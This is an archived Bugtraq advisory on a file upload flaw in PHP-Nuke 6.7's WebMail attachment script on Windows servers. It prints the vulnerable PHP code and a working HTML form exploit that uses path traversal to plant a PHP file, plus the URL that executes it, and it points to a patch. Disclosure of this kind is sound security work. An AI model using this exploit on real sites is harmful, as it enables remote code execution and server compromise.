PHP-Nuke v 6.7 + Windows = File Upload

"Frog Man" <[email protected]>
Newsgroups gmane.comp.security.vulnerabilities.watch.announce,gmane.comp.security.bugtraq
Message-ID <[email protected]>
Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 6.7
Website : http://www.phpnuke.org
Problem : File Upload


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
modules/WebMail/mailattach.php :
-------------------------------------------------------------------------------------------------------------------

if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND 
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    if (ini_get(file_uploads) AND $attachments == 1) {
	$updir = "tmp";
	@copy($userfile, "$updir/$userfile_name");
	@unlink($userfile);
    }
}

-------------------------------------------------------------------------------------------------------------------

Exploit :
°°°°°°°
Anyone can choose the path, the name and the extention of a file to upload. 
Here the file is saved into http://[target]/modules/AvantGo/language/bad.php 
and can be included and executed with the URL 
http://[target]/modules.php?name=AvantGo&file=langague/bad :

<form 
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php" 
method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>


It will work with Windows only because the temp name of the file is anything 
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\' 
character.


More details/Solution :
°°°°°°°°°°°°°°°°°°°°
A patch and more details can be found on http://www.phpsecure.info.


frog-m@n

_________________________________________________________________
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.